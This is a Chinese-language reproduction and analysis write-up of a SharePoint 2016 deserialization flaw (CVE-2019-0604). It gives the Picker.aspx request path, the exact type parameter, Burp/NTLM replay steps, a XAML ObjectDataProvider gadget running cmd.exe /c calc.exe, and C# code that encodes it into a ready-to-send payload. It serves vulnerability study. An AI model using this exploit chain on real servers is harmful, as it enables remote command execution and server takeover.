漏洞简介
该漏洞可造成Windows系统服务器的远程命令执行,有可能完全控制服务器。攻击者可将精心构造的请求通过ItemPickerWebForm控件传入后端EntityInstanceIdEncoder.DecodeEntityInstanceId(encodedId)方法中,因为方法没有对传入的encodedId进行任何处理,也没有对XmlSerializer构造函数的类型参数进行限制,可直接通过XmlSerializer反序列化,造成命令执行。
利用条件
要利用该漏洞,需要授权访问 sharepoint提供的管理网页,授权账户可以是一个域账户。
漏洞复现
复现环境:windows server 2016、windows sharepoint 2016(no KB4462211)
首先登录到目标机器上面来
地址栏输入:
http://<Your SharePoint Domin Or IP>:<Your SharePoint Port>/_layouts/15/Picker.aspx?PickerDialogType=<Your Microsoft.SharePoint.WebControls.ItemPickerDialog's assembly qualified name>
注意,PickerDialogType参数需要自行去进行查找,如输入错误,则会像下面这样报错:
查看方法可以使用下面的C#代码进行输出:
System.Console.WriteLine(typeof(Microsoft.SharePoint.WebControls.ItemPickerDialog).AssemblyQualifiedName.ToString())
或者自己搭建相同环境,使用反编译工具,反编译Sharepoint.dll来查看,默认位置位于:
C:\Program Files\Common Files\micrsoft shared\Web Server Extensions\16\ISAPI
所以我们的参数值如下:
Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c
注意,并不是所有情况下都会像刚刚我网页中那样爆出来相关信息,大多数时候还是需要手工查看这些信息的。
加上正确的参数再进行访问,即可看到正确的页面。
该页面为webform页面,通过查看源代码即可查看到漏洞的加载点:
<input name="ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox" type="text" maxlength="1000" id="ctl00_PlaceHolderDialogBodySection_ctl07_queryTextBox" accesskey="S" class="ms-pickersearchbox" onkeydown="var e=event; if(!e) e=window.event; if(!browseris.safari && e.keyCode==13) { document.getElementById('ctl00_PlaceHolderDialogBodySection_ctl07_queryButton').click(); return false; }" alwaysenablesilent="true" style="=t;, true, "&quo
由于其机制问题,我们需要使用bp抓包,然后手工将该触发点加入到数据包中。而sharepoint一般使用ntlm认证,默认的burp的方法是无法成功重放数据包的,此时我们可以参考该文章来进行设置:https://blog.csdn.net/hackerie/article/details/107080336 即在如下图所示的地方添加你的hash:
本地复现如果图方便的话,也可以自行将sharepoint的认证改成基础认证。然后就是抓包了,并把刚刚所说的字段改成自己的payload
目标机器成功运行calc
漏洞分析
然后我们反编译SharePoint.dll搜索入口ItemPickerDialog,这就是程序的入口点了
中间的过程就不再一一的跟进了,直接跳到后面的序列化部分:
这个函数就是最后负责处理我们传入的参数的,而其中有XmlSerializer构造函数的类型参数可控。
其这一步关键在于Type.GetType,程序必须通过Type类的静态方法GetType。然后我们看一下这个利用链。变量typename通过 text.Substring(0, num2);获取值最后交由Deserialize反序列化。
漏洞利用
根据之前360的代码审计文章可知,在XmlSerializer中我们可以使用通用的payload进行攻击,即一个XAML:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
生成payload的代码如下:
static void Main(string[] args)
{
object[] objs = new object[1];
objs[0] = Payload("<Path To Xml File>");
string payload = Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId(objs);
System.Console.WriteLine(payload);
System.Console.ReadKey();
}
public static object Payload(string filepath)
{
ExpandedWrapper<XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
eobj.ProjectedProperty0 = new ObjectDataProvider();
eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
eobj.ProjectedProperty0.MethodName = "Parse";
eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
return eobj;
}
最后再使用,因为毕竟最后参数是传到这里有过一次解码操作
Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId
进行编码,来获得一个可以直接在burp上面发送的payload。
最后编译好的代码如下:https://github.com/lengjibo/OffenSiveCSharp/tree/master/CVE-2019-0604
生成payload时,会在本地执行一次,望周知。无马,可自行分析。
参考文章:
https://x3fwy.bitcron.com/post/sharepoint-rce-explained
https://blog.csdn.net/weixin_33721344/article/details/94688536
https://k8gege.org/p/e896a7d1.html